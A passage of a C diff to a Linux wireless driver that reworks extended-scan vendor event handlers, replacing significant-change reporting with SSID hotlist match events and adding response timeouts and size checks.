) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID, + sizeof(pSirWifiScanResult->ssid), + pSirWifiScanResult->ssid) ) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID, + sizeof(pSirWifiScanResult->bssid), + pSirWifiScanResult->bssid) ) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL, + pSirWifiScanResult->channel) ) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_s32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI, + pSirWifiScanResult->rssi) ) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT, + pSirWifiScanResult->rtt) ) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD, + pSirWifiScanResult->rtt_sd)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BEACON_PERIOD, + pSirWifiScanResult->beaconPeriod)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CAPABILITY, + pSirWifiScanResult->capability)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_LENGTH, + ieLength)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + + if (ieLength) + if (nla_put(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_DATA, + ieLength, ie)) { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + goto fail; + } + + nla_nest_end(skb, ap); + } + nla_nest_end(skb, aps); + nla_nest_end(skb, nla_result); } - nla_nest_end(skb, aps); - } - cfg80211_vendor_event(skb, GFP_KERNEL); - } while (totalResults > 0); + nla_nest_end(skb, nla_results); + + cfg80211_vendor_cmd_reply(skb); + + } while (totalResults > 0); + } + + if (!pData->moreData) { + spin_lock(&hdd_context_lock); + context->response_status = 0; + complete(&context->response_event); + spin_unlock(&hdd_context_lock); + } EXIT(); return; @@ -2763,14 +2877,16 @@ static void wlan_hdd_cfg80211_extscan_cached_results_ind(void *ctx, static void wlan_hdd_cfg80211_extscan_hotlist_match_ind(void *ctx, void *pMsg) { - tpSirWifiScanResultEvent pData = (tpSirWifiScanResultEvent) pMsg; + tpSirEXTScanHotlistMatch pData = (tpSirEXTScanHotlistMatch) pMsg; hdd_context_t *pHddCtx = (hdd_context_t *)ctx; struct sk_buff *skb = NULL; - tANI_U32 i; + tANI_U32 i, index; ENTER(); if (wlan_hdd_validate_context(pHddCtx)) { + hddLog(LOGE, + FL("HDD context is not valid or response")); return; } if (!pMsg) @@ -2779,25 +2895,30 @@ static void wlan_hdd_cfg80211_extscan_hotlist_match_ind(void *ctx, return; } + if (pData->bss_found) + index = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND_INDEX; + else + index = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST_INDEX; + skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) NULL, #endif EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND_INDEX, - GFP_KERNEL); + index, GFP_KERNEL); if (!skb) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("cfg80211_vendor_event_alloc failed")); return; } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); + hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); - hddLog(VOS_TRACE_LEVEL_INFO, "Num results (%u)", pData->numOfAps); + hddLog(VOS_TRACE_LEVEL_INFO, "Num results (%u)", pData->numHotlistBss); hddLog(VOS_TRACE_LEVEL_INFO, "More Data (%u)", pData->moreData); + hddLog(VOS_TRACE_LEVEL_INFO, "ap_found %u", pData->bss_found); - for (i = 0; i < pData->numOfAps; i++) { + for (i = 0; i < pData->numHotlistBss; i++) { hddLog(VOS_TRACE_LEVEL_INFO, "[index=%u] Timestamp(0x%lld) " "Ssid (%s) " "Bssid (" MAC_ADDRESS_STR ") " @@ -2806,24 +2927,24 @@ static void wlan_hdd_cfg80211_extscan_hotlist_match_ind(void *ctx, "RTT (%u) " "RTT_SD (%u) ", i, - pData->ap[i].ts, - pData->ap[i].ssid, - MAC_ADDR_ARRAY(pData->ap[i].bssid), - pData->ap[i].channel, - pData->ap[i].rssi, - pData->ap[i].rtt, - pData->ap[i].rtt_sd); + pData->bssHotlist[i].ts, + pData->bssHotlist[i].ssid, + MAC_ADDR_ARRAY(pData->bssHotlist[i].bssid), + pData->bssHotlist[i].channel, + pData->bssHotlist[i].rssi, + pData->bssHotlist[i].rtt, + pData->bssHotlist[i].rtt_sd); } if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, pData->requestId) || nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE, - pData->numOfAps)) { + pData->numHotlistBss)) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); goto fail; } - if (pData->numOfAps) { + if (pData->numHotlistBss) { struct nlattr *aps; aps = nla_nest_start(skb, @@ -2831,7 +2952,7 @@ static void wlan_hdd_cfg80211_extscan_hotlist_match_ind(void *ctx, if (!aps) goto fail; - for (i = 0; i < pData->numOfAps; i++) { + for (i = 0; i < pData->numHotlistBss; i++) { struct nlattr *ap; ap = nla_nest_start(skb, i + 1); @@ -2840,27 +2961,27 @@ static void wlan_hdd_cfg80211_extscan_hotlist_match_ind(void *ctx, if (nla_put_u64(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP, - pData->ap[i].ts) || + pData->bssHotlist[i].ts) || nla_put(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID, - sizeof(pData->ap[i].ssid), - pData->ap[i].ssid) || + sizeof(pData->bssHotlist[i].ssid), + pData->bssHotlist[i].ssid) || nla_put(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID, - sizeof(pData->ap[i].bssid), - pData->ap[i].bssid) || + sizeof(pData->bssHotlist[i].bssid), + pData->bssHotlist[i].bssid) || nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL, - pData->ap[i].channel) || + pData->bssHotlist[i].channel) || nla_put_s32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI, - pData->ap[i].rssi) || + pData->bssHotlist[i].rssi) || nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT, - pData->ap[i].rtt) || + pData->bssHotlist[i].rtt) || nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD, - pData->ap[i].rtt_sd)) + pData->bssHotlist[i].rtt_sd)) goto fail; nla_nest_end(skb, ap); @@ -2882,113 +3003,157 @@ static void wlan_hdd_cfg80211_extscan_hotlist_match_ind(void *ctx, return; } -static void wlan_hdd_cfg80211_extscan_signif_wifi_change_results_ind(void *ctx, - void *pMsg) + +/** + * wlan_hdd_cfg80211_extscan_hotlist_ssid_match_ind() - + * Handle an SSID hotlist match event + * @ctx: HDD context registered with SME + * @event: The SSID hotlist match event + * + * This function will take an SSID match event that was generated by + * firmware and will convert it into a cfg80211 vendor event which is + * sent to userspace. + * + * Return: none + */ +static void +wlan_hdd_cfg80211_extscan_hotlist_ssid_match_ind(void *ctx, + void *pMsg) { - hdd_context_t *pHddCtx = (hdd_context_t *)ctx; - struct sk_buff *skb = NULL; - tANI_U32 i, j; - tpSirWifiSignificantChangeEvent pData = - (tpSirWifiSignificantChangeEvent) pMsg; + hdd_context_t *hdd_ctx = ctx; + struct sk_buff *skb; + tANI_U32 i, index; + tpSirEXTScanSsidHotlistMatch pData = (tpSirEXTScanSsidHotlistMatch) pMsg; - ENTER(); + ENTER(); - if (wlan_hdd_validate_context(pHddCtx)) { - return; - } - if (!pMsg) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); - return; + if (wlan_hdd_validate_context(hdd_ctx)) { + hddLog(LOGE, + FL("HDD context is not valid or response")); + return; + } + if (!pMsg) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("pMsg is null")); + return; + } + + if (pData->ssid_found) { + index = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND_INDEX; + hddLog(LOG1, "SSID hotlist found"); + } else { + index = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST_INDEX; + hddLog(LOG1, "SSID hotlist lost"); } - skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, + skb = cfg80211_vendor_event_alloc(hdd_ctx->wiphy, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) NULL, #endif - EXTSCAN_EVENT_BUF_SIZE, - QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE_INDEX, - GFP_KERNEL); + EXTSCAN_EVENT_BUF_SIZE + NLMSG_HDRLEN, + index, GFP_KERNEL); if (!skb) { - hddLog(VOS_TRACE_LEVEL_ERROR, - FL("cfg80211_vendor_event_alloc failed")); + hddLog(LOGE, FL("cfg80211_vendor_event_alloc failed")); return; } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); - hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); - hddLog(VOS_TRACE_LEVEL_INFO, "total List Size %u ", pData->numSigRssiBss); - hddLog(VOS_TRACE_LEVEL_INFO, " CUrrent List size (%u)", - pData->numSigRssiBss); - hddLog(VOS_TRACE_LEVEL_INFO, "moreData (%u)", pData->moreData); - - for (i = 0; i < pData->numSigRssiBss; i++) { - hddLog(VOS_TRACE_LEVEL_INFO , "Rssi List [%d] BSSID: (%pM) Channel %u " - " num RSSI %u ", - i, pData->sigRssiResult[i].bssid, - pData->sigRssiResult[i].channel, - pData->sigRssiResult[i].numRssi); - - for (j = 0; j < pData->sigRssiResult[i].numRssi; j++){ - - hddLog(VOS_TRACE_LEVEL_INFO, - " [%d]", - pData->sigRssiResult[i].rssi[j]); - - } - } - + hddLog(LOG1, "Req Id %u, Num of SSIDs %u, More Data (%u)", + pData->requestId, pData->numHotlistSsid, pData->moreData); + + for (i = 0; i < pData->numHotlistSsid; i++) { + hddLog(LOG1, "[i=%d] Timestamp %llu " + "Ssid: %s " + "Bssid (" MAC_ADDRESS_STR ") " + "Channel %u " + "Rssi %d " + "RTT %u " + "RTT_SD %u", + i, + pData->ssidHotlist[i].ts, + pData->ssidHotlist[i].ssid, + MAC_ADDR_ARRAY(pData->ssidHotlist[i].bssid), + pData->ssidHotlist[i].channel, + pData->ssidHotlist[i].rssi, + pData->ssidHotlist[i].rtt, + pData->ssidHotlist[i].rtt_sd); + } - if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, - pData->requestId) || - nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE, - pData->numSigRssiBss)) { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("put fail")); + if (nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, + pData->requestId) || + nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE, + pData->numHotlistSsid)) { + hddLog(LOGE, FL("put fail")); goto fail; } - if (pData->numSigRssiBss) { + if (pData->numHotlistSsid) { struct nlattr *aps; - aps = nla_nest_start(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST); - if (!aps) + aps = nla_nest_start(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST); + if (!aps) { + hddLog(LOGE, FL("nest fail")); goto fail; - for (i = 0; i < pData->numSigRssiBss; i++) { + } + + for (i = 0; i < pData->numHotlistSsid; i++) { struct nlattr *ap; ap = nla_nest_start(skb, i); - if (!ap) + if (!ap) { + hddLog(LOGE, FL("nest fail")); goto fail; - if (nla_put(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_BSSID, - sizeof(tSirMacAddr), pData->sigRssiResult[i].bssid) || + } + + if (nla_put_u64(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP, + pData->ssidHotlist[i].ts) || + nla_put(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID, + sizeof(pData->ssidHotlist[i].ssid), + pData->ssidHotlist[i].ssid) || + nla_put(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID, + sizeof(pData->ssidHotlist[i].bssid), + pData->ssidHotlist[i].bssid) || + nla_put_u32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL, + pData->ssidHotlist[i].channel) || + nla_put_s32(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI, + pData->ssidHotlist[i].rssi) || nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_CHANNEL, - pData->sigRssiResult[i].channel) || + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT, + pData->ssidHotlist[i].rtt) || nla_put_u32(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_NUM_RSSI, - pData->sigRssiResult[i].numRssi) || - nla_put(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_RSSI_LIST, - sizeof(s32) * pData->sigRssiResult[i].numRssi, - pData->sigRssiResult[i].rssi)) + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD, + pData->ssidHotlist[i].rtt_sd)) { + hddLog(LOGE, FL("put fail")); goto fail; + } nla_nest_end(skb, ap); } nla_nest_end(skb, aps); + if (nla_put_u8(skb, - QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA, - pData->moreData)) + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA, + pData->moreData)) { + hddLog(LOGE, FL("put fail")); goto fail; + } } + cfg80211_vendor_event(skb, GFP_KERNEL); - EXIT(); return; + fail: kfree_skb(skb); return; + } + static void wlan_hdd_cfg80211_extscan_full_scan_result_event(void *ctx, void *pMsg) { @@ -3000,6 +3165,8 @@ static void wlan_hdd_cfg80211_extscan_full_scan_result_event(void *ctx, ENTER(); if (wlan_hdd_validate_context(pHddCtx)) { + hddLog(LOGE, + FL("HDD context is not valid or response")); return; } if (!pMsg) @@ -3008,6 +3175,15 @@ static void wlan_hdd_cfg80211_extscan_full_scan_result_event(void *ctx, return; } + /* + * If the full scan result including IE data exceeds NL 4K size + * limitation, drop that beacon/probe rsp frame. + */ + if ((sizeof(*pData) + pData->ieLength) >= EXTSCAN_EVENT_BUF_SIZE) { + hddLog(LOGE, FL("Frame exceeded NL size limilation, drop it!")); + return; + } + skb = cfg80211_vendor_event_alloc(pHddCtx->wiphy, #if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 18, 0)) NULL, @@ -3022,7 +3198,6 @@ static void wlan_hdd_cfg80211_extscan_full_scan_result_event(void *ctx, return; } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); hddLog(VOS_TRACE_LEVEL_INFO, FL("Req Id (%u)"), pData->requestId); hddLog(VOS_TRACE_LEVEL_INFO, FL("More Data (%u)"), pData->moreData); hddLog(VOS_TRACE_LEVEL_INFO, FL("AP Info: Timestamp(0x%llX) " @@ -3031,14 +3206,19 @@ static void wlan_hdd_cfg80211_extscan_full_scan_result_event(void *ctx, "Channel (%u)" "Rssi (%d)" "RTT (%u)" - "RTT_SD (%u)"), + "RTT_SD (%u)" + "Bcn Period %d" + "Capability 0x%X "), pData->ap.ts, pData->ap.ssid, MAC_ADDR_ARRAY(pData->ap.bssid), pData->ap.channel, pData->ap.rssi, pData->ap.rtt, - pData->ap.rtt_sd); + pData->ap.rtt_sd, + pData->ap.beaconPeriod, + pData->ap.capability); + hddLog(VOS_TRACE_LEVEL_INFO, "IE Length (%u)", pData->ieLength); if (nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID, pData->requestId) || @@ -3069,17 +3249,23 @@ static void wlan_hdd_cfg80211_extscan_full_scan_result_event(void *ctx, pData->ap.capability) || nla_put_u32(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_LENGTH, - pData->ieLength)) + pData->ieLength) || + nla_put_u8(skb, + QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA, + pData->moreData)) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); goto nla_put_failure; } - if (nla_put(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_DATA, - pData->ieLength, - pData->ie)) - { - hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); - goto nla_put_failure; + + if (pData->ieLength) { + if (nla_put(skb, QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_DATA, + pData->ieLength, + pData->ie)) + { + hddLog(VOS_TRACE_LEVEL_ERROR, FL("nla put fail")); + goto nla_put_failure; + } } cfg80211_vendor_event(skb, GFP_KERNEL); @@ -3102,6 +3288,8 @@ static void wlan_hdd_cfg80211_extscan_scan_res_available_event(void *ctx, ENTER(); if (wlan_hdd_validate_context(pHddCtx)){ + hddLog(LOGE, + FL("HDD context is not valid or response")); return; } if (!pMsg) @@ -3124,7 +3312,6 @@ static void wlan_hdd_cfg80211_extscan_scan_res_available_event(void *ctx, return; } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); hddLog(VOS_TRACE_LEVEL_INFO, "Req Id (%u)", pData->requestId); hddLog(VOS_TRACE_LEVEL_INFO, "Num results (%u)", pData->numResultsAvailable); @@ -3156,6 +3343,8 @@ static void wlan_hdd_cfg80211_extscan_scan_progress_event(void *ctx, void *pMsg) ENTER(); if (wlan_hdd_validate_context(pHddCtx)){ + hddLog(LOGE, + FL("HDD context is not valid or response")); return; } if (!pMsg) @@ -3177,7 +3366,7 @@ static void wlan_hdd_cfg80211_extscan_scan_progress_event(void *ctx, void *pMsg) FL("cfg80211_vendor_event_alloc failed")); return; } - hddLog(VOS_TRACE_LEVEL_INFO, FL("Entering ")); + hddLog(VOS_TRACE_LEVEL_INFO, FL("Request Id (%u) "), pData->requestId); hddLog(VOS_TRACE_LEVEL_INFO, "Scan event type (%u)", pData->extScanEventType); hddLog(VOS_TRACE_LEVEL_INFO, "Scan event status (%u)", @@ -3240,15 +3429,16 @@ void wlan_hdd_cfg80211_extscan_callback(void *ctx, const tANI_U16 evType, wlan_hdd_cfg80211_extscan_reset_bss_hotlist_rsp(ctx, pMsg); break; - case SIR_HAL_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP: - wlan_hdd_cfg80211_extscan_set_signf_wifi_change_rsp(ctx, pMsg); + case SIR_HAL_EXTSCAN_SET_SSID_HOTLIST_RSP: + wlan_hdd_cfg80211_extscan_set_ssid_hotlist_rsp(ctx, pMsg); break; - case SIR_HAL_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP: - wlan_hdd_cfg80211_extscan_reset_signf_wifi_change_rsp(ctx, pMsg); + case SIR_HAL_EXTSCAN_RESET_SSID_HOTLIST_RSP: + wlan_hdd_cfg80211_extscan_reset_ssid_hotlist_rsp(ctx, pMsg); break; + case SIR_HAL_EXTSCAN_GET_CAPABILITIES_RSP: - wlan_hdd_cfg80211_extscan_get_capabilities_ind(ctx, pMsg); + wlan_hdd_cfg80211_extscan_get_capabilities_rsp(ctx, pMsg); break; case SIR_HAL_EXTSCAN_PROGRESS_IND: wlan_hdd_cfg80211_extscan_scan_progress_event(ctx, pMsg); @@ -3262,8 +3452,8 @@ void wlan_hdd_cfg80211_extscan_callback(void *ctx, const tANI_U16 evType, case SIR_HAL_EXTSCAN_HOTLIST_MATCH_IND: wlan_hdd_cfg80211_extscan_hotlist_match_ind(ctx, pMsg); break; - case SIR_HAL_EXTSCAN_SIGNF_WIFI_CHANGE_IND: - wlan_hdd_cfg80211_extscan_signif_wifi_change_results_ind(ctx, pMsg); + case SIR_HAL_EXTSCAN_SSID_HOTLIST_MATCH_IND: + wlan_hdd_cfg80211_extscan_hotlist_ssid_match_ind(ctx, pMsg); break; case SIR_HAL_EXTSCAN_FULL_SCAN_RESULT_IND: wlan_hdd_cfg80211_extscan_full_scan_result_event(ctx, pMsg); @@ -3286,6 +3476,9 @@ static int __wlan_hdd_cfg80211_extscan_get_capabilities(struct wiphy *wiphy, struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; eHalStatus status; + struct hdd_ext_scan_context *context; + unsigned long rc; + int ret; ENTER(); @@ -3296,7 +3489,8 @@ static int __wlan_hdd_cfg80211_extscan_get_capabilities(struct wiphy *wiphy, } /* check the EXTScan Capability */ if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("EXTScan not enabled/supported by Firmware")); @@ -3316,7 +3510,6 @@ static int __wlan_hdd_cfg80211_extscan_get_capabilities(struct wiphy *wiphy, return -EINVAL; } - reqMsg.requestId = nla_get_u32( tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID]); hddLog(VOS_TRACE_LEVEL_INFO, FL("Req Id (%d)"), reqMsg.requestId); @@ -3324,12 +3517,32 @@ static int __wlan_hdd_cfg80211_extscan_get_capabilities(struct wiphy *wiphy, reqMsg.sessionId = pAdapter->sessionId; hddLog(VOS_TRACE_LEVEL_INFO, FL("Session Id (%d)"), reqMsg.sessionId); + vos_spin_lock_acquire(&hdd_context_lock); + context = &pHddCtx->ext_scan_context; + context->request_id = reqMsg.requestId; + INIT_COMPLETION(context->response_event); + vos_spin_lock_release(&hdd_context_lock); + status = sme_EXTScanGetCapabilities(pHddCtx->hHal, &reqMsg); if (!HAL_STATUS_SUCCESS(status)) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("sme_EXTScanGetCapabilities failed(err=%d)"), status); return -EINVAL; } + + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies(WLAN_WAIT_TIME_EXTSCAN)); + if (!rc) { + hddLog(LOGE, FL("Target response timed out")); + return -ETIMEDOUT; + } + + ret = wlan_hdd_send_ext_scan_capability(pHddCtx); + if (ret) + hddLog(LOGE, FL("Failed to send ext scan capability to user space")); + + return ret; + EXIT(); return 0; } @@ -3358,9 +3571,17 @@ static int __wlan_hdd_cfg80211_extscan_get_cached_results(struct wiphy *wiphy, struct nlattr *tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX + 1]; eHalStatus status; + struct hdd_ext_scan_context *context; + unsigned long rc; + int retval; ENTER(); + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + status = wlan_hdd_validate_context(pHddCtx); if (0 != status) { @@ -3368,7 +3589,8 @@ static int __wlan_hdd_cfg80211_extscan_get_cached_results(struct wiphy *wiphy, } /* check the EXTScan Capability */ if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("EXTScan not enabled/supported by Firmware")); @@ -3407,14 +3629,36 @@ static int __wlan_hdd_cfg80211_extscan_get_cached_results(struct wiphy *wiphy, hddLog(VOS_TRACE_LEVEL_INFO, FL("Flush (%d)"), reqMsg.flush); + spin_lock(&hdd_context_lock); + context = &pHddCtx->ext_scan_context; + context->request_id = reqMsg.requestId; + context->ignore_cached_results = false; + INIT_COMPLETION(context->response_event); + spin_unlock(&hdd_context_lock); + status = sme_getCachedResults(pHddCtx->hHal, &reqMsg); if (!HAL_STATUS_SUCCESS(status)) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("sme_getCachedResults failed(err=%d)"), status); return -EINVAL; } + + rc = wait_for_completion_timeout(&context->response_event, + msecs_to_jiffies(WLAN_WAIT_TIME_EXTSCAN)); + if (!rc) { + hddLog(LOGE, FL("Target response timed out")); + retval = -ETIMEDOUT; + spin_lock(&hdd_context_lock); + context->ignore_cached_results = true; + spin_unlock(&hdd_context_lock); + } else { + spin_lock(&hdd_context_lock); + retval = context->response_status; + spin_unlock(&hdd_context_lock); + } + EXIT(); - return 0; + return retval; failed: return -EINVAL; @@ -3448,9 +3692,18 @@ static int __wlan_hdd_cfg80211_extscan_set_bssid_hotlist(struct wiphy *wiphy, eHalStatus status; tANI_U8 i = 0; int rem; + struct hdd_ext_scan_context *context; + tANI_U32 request_id; + unsigned long rc; + int retval; ENTER(); + if (VOS_FTM_MODE == hdd_get_conparam()) { + hddLog(LOGE, FL("Command not allowed in FTM mode")); + return -EINVAL; + } + status = wlan_hdd_validate_context(pHddCtx); if (0 != status) { @@ -3458,7 +3711,8 @@ static int __wlan_hdd_cfg80211_extscan_set_bssid_hotlist(struct wiphy *wiphy, } /* check the EXTScan Capability */ if ( (TRUE != pHddCtx->cfg_ini->fEnableEXTScan) || - (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN))) + (TRUE != sme_IsFeatureSupportedByFW(EXTENDED_SCAN)) || + (TRUE != sme_IsFeatureSupportedByFW(EXT_SCAN_ENHANCED))) { hddLog(VOS_TRACE_LEVEL_ERROR, FL("EXTScan not enabled/supported by Firmware")); @@ -3495,12 +3749,22 @@ static int __wlan_hdd_cfg80211_extscan_set_bssid_hotlist(struct wiphy *wiphy, goto fail; } + /* Parse and fetch lost ap sample size */ + if (!tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE]) { + hddLog(LOGE, FL("attr lost ap sample size failed")); + goto fail; + } + + pReqMsg->lostBssidSampleSize = nla_get_u32( + tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE]); + hddLog(LOG1, FL("Lost ap sample size %d"), pReqMsg->lostBssidSampleSize); + pReqMsg->sessionId = pAdapter->sessionId; hddLog(VOS_TRACE_LEVEL_INFO, FL("Session Id (%d)"), pReqMsg->sessionId); - pReqMsg->numAp = nla_get_u32( + pReqMsg->numBssid = nla_get_u32( tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP]); - hddLog(VOS_TRACE_LEVEL_INFO, FL("Number of AP (%d)"), pReqMsg->numAp); + hddLog(VOS_TRACE_LEVEL_INFO, FL("Number of AP (%d)"), pReqMsg->numBssid); nla_for_each_nested(apTh, tb[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM], rem) { @@ -3539,18 +3803,15 @@ static int __wlan_hdd_cfg80211_extscan_set_bssid_hotlist(struct wiphy *wiphy, tb2[QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH]); hddLog(VOS_TRACE_LEVEL_INFO, FL("RSSI High (%d)"), pReqMsg->ap[i].high); - - /* Parse and fetch channel */ - if 